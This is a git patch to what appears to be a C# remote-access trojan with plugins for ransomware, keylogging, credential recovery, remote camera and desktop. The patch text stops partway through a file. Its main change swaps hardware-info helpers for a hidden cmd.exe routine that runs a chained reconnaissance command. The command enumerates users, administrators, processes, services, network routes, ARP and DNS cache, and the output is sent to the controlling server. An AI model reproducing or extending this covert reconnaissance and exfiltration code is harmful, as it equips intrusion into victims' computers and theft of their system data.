From 7e1d7270552ced5e3ca02c02b53e48d68300eab9 Mon Sep 17 00:00:00 2001 From: qwqdanchun <287182701@qq.com> Date: Sun, 14 Mar 2021 21:28:45 +0800 Subject: [PATCH] Information --- Client/Properties/AssemblyInfo.cs | 4 +- Client/Settings.cs | 2 +- Client/app.manifest | 2 +- MessagePack/Properties/AssemblyInfo.cs | 4 +- Plugin/Audio/Audio/Properties/AssemblyInfo.cs | 4 +- Plugin/Chat/Chat/Properties/AssemblyInfo.cs | 4 +- .../Decrypter/Properties/AssemblyInfo.cs | 4 +- Plugin/Extra/Extra/Properties/AssemblyInfo.cs | 4 +- .../FileManager/Properties/AssemblyInfo.cs | 4 +- .../FileSearcher/Properties/AssemblyInfo.cs | 4 +- .../Information/Information/DevicesHelper.cs | 92 ------- .../Information/GeoLocationHelper.cs | 226 ------------------ .../Information/Information.csproj | 3 - Plugin/Information/Information/Packet.cs | 43 ++-- .../Information/Properties/AssemblyInfo.cs | 4 +- .../Information/Information/SystemHelper.cs | 150 ------------ .../Logger/Logger/Properties/AssemblyInfo.cs | 4 +- .../Miscellaneous/Properties/AssemblyInfo.cs | 4 +- .../Options/Properties/AssemblyInfo.cs | 4 +- .../ProcessManager/Properties/AssemblyInfo.cs | 4 +- .../Ransomware/Properties/AssemblyInfo.cs | 4 +- .../Recovery/Properties/AssemblyInfo.cs | 4 +- .../RemoteCamera/Properties/AssemblyInfo.cs | 4 +- .../RemoteDesktop/Properties/AssemblyInfo.cs | 4 +- .../SendFile/Properties/AssemblyInfo.cs | 4 +- .../SendMemory/Properties/AssemblyInfo.cs | 4 +- Server/Handle Packet/HandleInformation.cs | 7 +- Server/Properties/AssemblyInfo.cs | 4 +- Server/Settings.cs | 2 +- Server/app.manifest | 2 +- 30 files changed, 76 insertions(+), 533 deletions(-) delete mode 100644 Plugin/Information/Information/DevicesHelper.cs delete mode 100644 Plugin/Information/Information/GeoLocationHelper.cs delete mode 100644 Plugin/Information/Information/SystemHelper.cs diff --git a/Client/Properties/AssemblyInfo.cs b/Client/Properties/AssemblyInfo.cs index 22dfa08..aeae3ac 100644 --- a/Client/Properties/AssemblyInfo.cs +++ b/Client/Properties/AssemblyInfo.cs @@ -31,5 +31,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Client/Settings.cs b/Client/Settings.cs index 4f65358..87dd5a7 100644 --- a/Client/Settings.cs +++ b/Client/Settings.cs @@ -13,7 +13,7 @@ public static class Settings #if DEBUG public static string Por_ts = "8848"; public static string Hos_ts = "127.0.0.1"; - public static string Ver_sion = "1.0.0"; + public static string Ver_sion = "1.0.1"; public static string In_stall = "false"; public static string Install_Folder = "AppData"; public static string Install_File = "Test.exe"; diff --git a/Client/app.manifest b/Client/app.manifest index f377695..36d1d3e 100644 --- a/Client/app.manifest +++ b/Client/app.manifest @@ -1,6 +1,6 @@  - + diff --git a/MessagePack/Properties/AssemblyInfo.cs b/MessagePack/Properties/AssemblyInfo.cs index 22dfa08..aeae3ac 100644 --- a/MessagePack/Properties/AssemblyInfo.cs +++ b/MessagePack/Properties/AssemblyInfo.cs @@ -31,5 +31,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Audio/Audio/Properties/AssemblyInfo.cs b/Plugin/Audio/Audio/Properties/AssemblyInfo.cs index 4dd7aaa..9cd4d95 100644 --- a/Plugin/Audio/Audio/Properties/AssemblyInfo.cs +++ b/Plugin/Audio/Audio/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Chat/Chat/Properties/AssemblyInfo.cs b/Plugin/Chat/Chat/Properties/AssemblyInfo.cs index 57a719f..d436cfd 100644 --- a/Plugin/Chat/Chat/Properties/AssemblyInfo.cs +++ b/Plugin/Chat/Chat/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Decrypter/Decrypter/Properties/AssemblyInfo.cs b/Plugin/Decrypter/Decrypter/Properties/AssemblyInfo.cs index 6aeea26..b1ffe26 100644 --- a/Plugin/Decrypter/Decrypter/Properties/AssemblyInfo.cs +++ b/Plugin/Decrypter/Decrypter/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 //通过使用 "*",如下所示: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Extra/Extra/Properties/AssemblyInfo.cs b/Plugin/Extra/Extra/Properties/AssemblyInfo.cs index 474cca6..225f0e0 100644 --- a/Plugin/Extra/Extra/Properties/AssemblyInfo.cs +++ b/Plugin/Extra/Extra/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs b/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs index 891c31b..b40475b 100644 --- a/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs +++ b/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/FileSearcher/FileSearcher/Properties/AssemblyInfo.cs b/Plugin/FileSearcher/FileSearcher/Properties/AssemblyInfo.cs index 22dfa08..aeae3ac 100644 --- a/Plugin/FileSearcher/FileSearcher/Properties/AssemblyInfo.cs +++ b/Plugin/FileSearcher/FileSearcher/Properties/AssemblyInfo.cs @@ -31,5 +31,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Information/Information/DevicesHelper.cs b/Plugin/Information/Information/DevicesHelper.cs deleted file mode 100644 index cbfbaf5..0000000 --- a/Plugin/Information/Information/DevicesHelper.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Management; -using System.Net; -using System.Net.NetworkInformation; -using System.Net.Sockets; -using System.Security.Cryptography; -using System.Text; -using System.Windows.Forms; -using static Plugin.SystemHelper; - -namespace Plugin -{ - public static class DevicesHelper - { - - public static string GetCpuName() - { - try - { - string cpuName = string.Empty; - string query = "SELECT * FROM Win32_Processor"; - - using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) - { - foreach (ManagementObject mObject in searcher.Get()) - { - cpuName += mObject["Name"].ToString() + "; "; - } - } - cpuName = StringHelper.RemoveLastChars(cpuName); - - return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A"; - } - catch - { - } - - return "Unknown"; - } - - public static int GetTotalRamAmount() - { - try - { - int installedRAM = 0; - string query = "Select * From Win32_ComputerSystem"; - - using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) - { - foreach (ManagementObject mObject in searcher.Get()) - { - double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"])); - installedRAM = (int)(bytes / 1048576); - break; - } - } - - return installedRAM; - } - catch - { - return -1; - } - } - - public static string GetGpuName() - { - try - { - string gpuName = string.Empty; - string query = "SELECT * FROM Win32_DisplayConfiguration"; - - using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) - { - foreach (ManagementObject mObject in searcher.Get()) - { - gpuName += mObject["Description"].ToString() + "; "; - } - } - gpuName = StringHelper.RemoveLastChars(gpuName); - - return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; - } - catch - { - return "Unknown"; - } - } - } -} diff --git a/Plugin/Information/Information/GeoLocationHelper.cs b/Plugin/Information/Information/GeoLocationHelper.cs deleted file mode 100644 index 97e2d69..0000000 --- a/Plugin/Information/Information/GeoLocationHelper.cs +++ /dev/null @@ -1,226 +0,0 @@ -using System; -using System.IO; -using System.Net; -using System.Runtime.Serialization; -using System.Runtime.Serialization.Json; -using System.Text; -using System.Xml; - -namespace Plugin -{ - - public static class GeoLocationHelper - { - [DataContract] - public class GeoInformation - { - [DataMember(Name = "as")] - public string As { get; set; } - [DataMember(Name = "city")] - public string City { get; set; } - [DataMember(Name = "country")] - public string Country { get; set; } - [DataMember(Name = "countryCode")] - public string CountryCode { get; set; } - [DataMember(Name = "isp")] - public string Isp { get; set; } - [DataMember(Name = "lat")] - public double Lat { get; set; } - [DataMember(Name = "lon")] - public double Lon { get; set; } - [DataMember(Name = "org")] - public string Org { get; set; } - [DataMember(Name = "query")] - public string Ip { get; set; } - [DataMember(Name = "region")] - public string Region { get; set; } - [DataMember(Name = "regionName")] - public string RegionName { get; set; } - [DataMember(Name = "status")] - public string Status { get; set; } - [DataMember(Name = "timezone")] - public string Timezone { get; set; } - [DataMember(Name = "zip")] - public string Zip { get; set; } - } - public static readonly string[] ImageList = - { - "ad", "ae", "af", "ag", "ai", "al", - "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", - "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", - "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", - "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", - "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", - "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", - "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", - "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", - "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", - "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", - "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", - "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", - "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", - "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", - "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", - "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", - "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", - "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", - "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", - "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", - "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", - "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", - "ws", "ye", "yt", "za", "zm", "zw" - }; - - public static int ImageIndex { get; set; } - public static GeoInformation GeoInfo { get; private set; } - public static DateTime LastLocated { get; private set; } - public static bool LocationCompleted { get; private set; } - - static GeoLocationHelper() - { - LastLocated = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); - } - - public static void Initialize() - { - TimeSpan lastLocateTry = new TimeSpan(DateTime.UtcNow.Ticks - LastLocated.Ticks); - - // last location was 60 minutes ago or last location has not completed - if (lastLocateTry.TotalMinutes > 60 || !LocationCompleted) - { - TryLocate(); - - GeoInfo.Ip = (string.IsNullOrEmpty(GeoInfo.Ip)) ? "Unknown" : GeoInfo.Ip; - GeoInfo.Country = (string.IsNullOrEmpty(GeoInfo.Country)) ? "Unknown" : GeoInfo.Country; - GeoInfo.CountryCode = (string.IsNullOrEmpty(GeoInfo.CountryCode)) ? "-" : GeoInfo.CountryCode; - GeoInfo.Region = (string.IsNullOrEmpty(GeoInfo.Region)) ? "Unknown" : GeoInfo.Region; - GeoInfo.City = (string.IsNullOrEmpty(GeoInfo.City)) ? "Unknown" : GeoInfo.City; - GeoInfo.Timezone = (string.IsNullOrEmpty(GeoInfo.Timezone)) ? "Unknown" : GeoInfo.Timezone; - GeoInfo.Isp = (string.IsNullOrEmpty(GeoInfo.Isp)) ? "Unknown" : GeoInfo.Isp; - - ImageIndex = 0; - for (int i = 0; i < ImageList.Length; i++) - { - if (ImageList[i] == GeoInfo.CountryCode.ToLower()) - { - ImageIndex = i; - break; - } - } - if (ImageIndex == 0) ImageIndex = 247; // question icon - } - } - - private static void TryLocate() - { - LocationCompleted = false; - - try - { - DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation)); - - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://ip-api.com/json/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 10000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - string responseString = reader.ReadToEnd(); - - using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString))) - { - GeoInfo = (GeoInformation)jsonSerializer.ReadObject(ms); - } - } - } - } - - LastLocated = DateTime.UtcNow; - LocationCompleted = true; - } - catch - { - TryLocateFallback(); - } - } - - private static void TryLocateFallback() - { - GeoInfo = new GeoInformation(); - - try - { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 10000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - string responseString = reader.ReadToEnd(); - - XmlDocument doc = new XmlDocument(); - doc.LoadXml(responseString); - - GeoInfo.Ip = doc.SelectSingleNode("Response//IP").InnerXml; - GeoInfo.Country = doc.SelectSingleNode("Response//CountryName").InnerXml; - GeoInfo.CountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml; - GeoInfo.Region = doc.SelectSingleNode("Response//RegionName").InnerXml; - GeoInfo.City = doc.SelectSingleNode("Response//City").InnerXml; - GeoInfo.Timezone = doc.SelectSingleNode("Response//TimeZone").InnerXml; - } - } - } - - LastLocated = DateTime.UtcNow; - LocationCompleted = true; - } - catch - { - LocationCompleted = false; - } - - if (string.IsNullOrEmpty(GeoInfo.Ip)) - TryGetWanIp(); - } - - private static void TryGetWanIp() - { - string wanIp = "-"; - - try - { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 5000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - wanIp = reader.ReadToEnd(); - } - } - } - } - catch (Exception) - { - } - - GeoInfo.Ip = wanIp; - } - } - -} diff --git a/Plugin/Information/Information/Information.csproj b/Plugin/Information/Information/Information.csproj index 870b1b2..3c57bc7 100644 --- a/Plugin/Information/Information/Information.csproj +++ b/Plugin/Information/Information/Information.csproj @@ -49,9 +49,6 @@ - - - diff --git a/Plugin/Information/Information/Packet.cs b/Plugin/Information/Information/Packet.cs index d26ff93..9c6f07b 100644 --- a/Plugin/Information/Information/Packet.cs +++ b/Plugin/Information/Information/Packet.cs @@ -25,7 +25,6 @@ public static void Read(object data) { case "information": { - GeoLocationHelper.Initialize(); Connection.Send(InformationList()); break; } @@ -46,27 +45,37 @@ public static void Error(string ex) } public static byte[] InformationList() { - IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); - var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; - var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + string back = execCMD(@"echo ####information collection#### & systeminfo & ver & hostname & net user & net localgroup & net localgroup administrators & net user guest & net user administrator & echo ####task-list#### & tasklist /svc & echo & echo ####net-work information#### & ipconfig/all & route print & arp -a & netstat -an & ipconfig /displaydns & echo ####service#### & sc query type= service state= all"); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "Information"; - /*msgpack.ForcePathObject("CPU").AsString = DevicesHelper.GetCpuName(); - msgpack.ForcePathObject("Memory(RAM)").AsString = $"{DevicesHelper.GetTotalRamAmount()} MB"; - msgpack.ForcePathObject("GPU").AsString = DevicesHelper.GetGpuName(); - msgpack.ForcePathObject("Domain_Name").AsString = domainName; - msgpack.ForcePathObject("Host_Name").AsString = hostName; - msgpack.ForcePathObject("System_Drive").AsString = Path.GetPathRoot(Environment.SystemDirectory); - msgpack.ForcePathObject("System_Directory").AsString = Environment.SystemDirectory; - msgpack.ForcePathObject("Uptime").AsString = SystemHelper.GetUptime(); - msgpack.ForcePathObject("Firewall").AsString = SystemHelper.GetFirewall(); - msgpack.ForcePathObject("Time_Zone").AsString = GeoLocationHelper.GeoInfo.Timezone; - msgpack.ForcePathObject("ISP").AsString = GeoLocationHelper.GeoInfo.Isp;*/ - msgpack.ForcePathObject("InforMation").AsString = "CPU: "+DevicesHelper.GetCpuName()+"\n"+ "Memory(RAM): "+$"{DevicesHelper.GetTotalRamAmount()} MB" + "\n" + "GPU: "+ DevicesHelper.GetGpuName() + "\n" + "Domain_Name: "+ domainName + "\n" + "Host_Name: "+ hostName + "\n" + "System_Drive: "+ Path.GetPathRoot(Environment.SystemDirectory) + "\n" + "System_Directory: "+ Environment.SystemDirectory + "\n" + "Uptime: "+ SystemHelper.GetUptime() + "\n" + "Firewall: "+ SystemHelper.GetFirewall() + "\n" + "Time_Zone: "+GeoLocationHelper.GeoInfo.Timezone + "\n" + "ISP: "+GeoLocationHelper.GeoInfo.Isp; + msgpack.ForcePathObject("ID").AsString = Connection.Hwid; + msgpack.ForcePathObject("InforMation").AsString = back; return msgpack.Encode2Bytes(); } - + public static string execCMD(string command) + { + System.Diagnostics.Process pro = new System.Diagnostics.Process(); + pro.StartInfo.FileName = "cmd.exe"; + pro.StartInfo.UseShellExecute = false; + pro.StartInfo.RedirectStandardError = true; + pro.StartInfo.RedirectStandardInput = true; + pro.StartInfo.RedirectStandardOutput = true; + pro.StartInfo.CreateNoWindow = true; + //pro.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; + pro.Start(); + pro.StandardInput.WriteLine(command); + pro.StandardInput.WriteLine("exit"); + pro.StandardInput.AutoFlush = true; + //获取cmd窗口的输出信息 + string output = pro.StandardOutput.ReadToEnd(); + pro.WaitForExit();//等待程序执行完退出进程 + pro.Close(); + return output; + + } + + } } \ No newline at end of file diff --git a/Plugin/Information/Information/Properties/AssemblyInfo.cs b/Plugin/Information/Information/Properties/AssemblyInfo.cs index dcfd11e..204072a 100644 --- a/Plugin/Information/Information/Properties/AssemblyInfo.cs +++ b/Plugin/Information/Information/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Information/Information/SystemHelper.cs b/Plugin/Information/Information/SystemHelper.cs deleted file mode 100644 index f679a46..0000000 --- a/Plugin/Information/Information/SystemHelper.cs +++ /dev/null @@ -1,150 +0,0 @@ -using System; -using System.Management; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Text.RegularExpressions; -using System.Security.Cryptography; -using System.Windows.Forms; - -namespace Plugin -{ - public static class SystemHelper - { - public static string GetUptime() - { - try - { - string uptime = string.Empty; - - using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'")) - { - foreach (ManagementObject mObject in searcher.Get()) - { - DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString()); - TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks); - - uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds); - break; - } - } - - if (string.IsNullOrEmpty(uptime)) - throw new Exception("Getting uptime failed"); - - return uptime; - } - catch (Exception) - { - return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0); - } - } - - public static string GetAntivirus() - { - MessageBox.Show("98"); - try - { - string antivirusName = string.Empty; - // starting with Windows Vista we must use the root\SecurityCenter2 namespace - string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter"; - string query = "SELECT * FROM AntivirusProduct"; - - using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) - { - foreach (ManagementObject mObject in searcher.Get()) - { - antivirusName += mObject["displayName"].ToString() + "; "; - } - } - antivirusName = StringHelper.RemoveLastChars(antivirusName); - - return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A"; - } - catch - { - return "Unknown"; - } - } - - public static string GetFirewall() - { - try - { - string firewallName = string.Empty; - // starting with Windows Vista we must use the root\SecurityCenter2 namespace - string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter"; - string query = "SELECT * FROM FirewallProduct"; - - using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) - { - foreach (ManagementObject mObject in searcher.Get()) - { - firewallName += mObject["displayName"].ToString() + "; "; - } - } - firewallName = StringHelper.RemoveLastChars(firewallName); - - return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A"; - } - catch - { - return "Unknown"; - } - } - public static class PlatformHelper - { - - public static bool VistaOrHigher { get; } - - - } - public static class StringHelper - { - /// - /// Gets the formatted MAC address. - /// - /// The unformatted MAC address. - /// The formatted MAC address. - public static string GetFormattedMacAddress(string macAddress) - { - return (macAddress.Length != 12) - ? "00:00:00:00:00:00" - : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); - } - - /// - /// Safely removes the last N chars from a string. - /// - /// The input string. - /// The amount of last chars to remove (=N). - /// The input string with N removed chars. - public static string RemoveLastChars(string input, int amount = 2) - { - if (input.Length > amount) - input = input.Remove(input.Length - amount); - return input; - } - - public class SafeRandom - { - private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); - - [ThreadStatic] - private static Random _random; - - private static Random GetRandom() - { - if (_random == null) - { - byte[] buffer = new byte[4]; - GlobalCryptoProvider.GetBytes(buffer); - _random = new Random(BitConverter.ToInt32(buffer, 0)); - } - - return _random; - } - } - } - } -} diff --git a/Plugin/Logger/Logger/Properties/AssemblyInfo.cs b/Plugin/Logger/Logger/Properties/AssemblyInfo.cs index dda705c..eae6fc0 100644 --- a/Plugin/Logger/Logger/Properties/AssemblyInfo.cs +++ b/Plugin/Logger/Logger/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs b/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs index 22e3d5e..3300d8f 100644 --- a/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs +++ b/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Options/Options/Properties/AssemblyInfo.cs b/Plugin/Options/Options/Properties/AssemblyInfo.cs index dcfd11e..204072a 100644 --- a/Plugin/Options/Options/Properties/AssemblyInfo.cs +++ b/Plugin/Options/Options/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/ProcessManager/ProcessManager/Properties/AssemblyInfo.cs b/Plugin/ProcessManager/ProcessManager/Properties/AssemblyInfo.cs index 4dd7aaa..9cd4d95 100644 --- a/Plugin/ProcessManager/ProcessManager/Properties/AssemblyInfo.cs +++ b/Plugin/ProcessManager/ProcessManager/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Ransomware/Ransomware/Properties/AssemblyInfo.cs b/Plugin/Ransomware/Ransomware/Properties/AssemblyInfo.cs index 99f3f28..faeb730 100644 --- a/Plugin/Ransomware/Ransomware/Properties/AssemblyInfo.cs +++ b/Plugin/Ransomware/Ransomware/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/Recovery/Recovery/Properties/AssemblyInfo.cs b/Plugin/Recovery/Recovery/Properties/AssemblyInfo.cs index 53e399a..7b1a30a 100644 --- a/Plugin/Recovery/Recovery/Properties/AssemblyInfo.cs +++ b/Plugin/Recovery/Recovery/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/RemoteCamera/RemoteCamera/Properties/AssemblyInfo.cs b/Plugin/RemoteCamera/RemoteCamera/Properties/AssemblyInfo.cs index cd588c4..e012b7b 100644 --- a/Plugin/RemoteCamera/RemoteCamera/Properties/AssemblyInfo.cs +++ b/Plugin/RemoteCamera/RemoteCamera/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/RemoteDesktop/RemoteDesktop/Properties/AssemblyInfo.cs b/Plugin/RemoteDesktop/RemoteDesktop/Properties/AssemblyInfo.cs index b332f15..d2b6e7c 100644 --- a/Plugin/RemoteDesktop/RemoteDesktop/Properties/AssemblyInfo.cs +++ 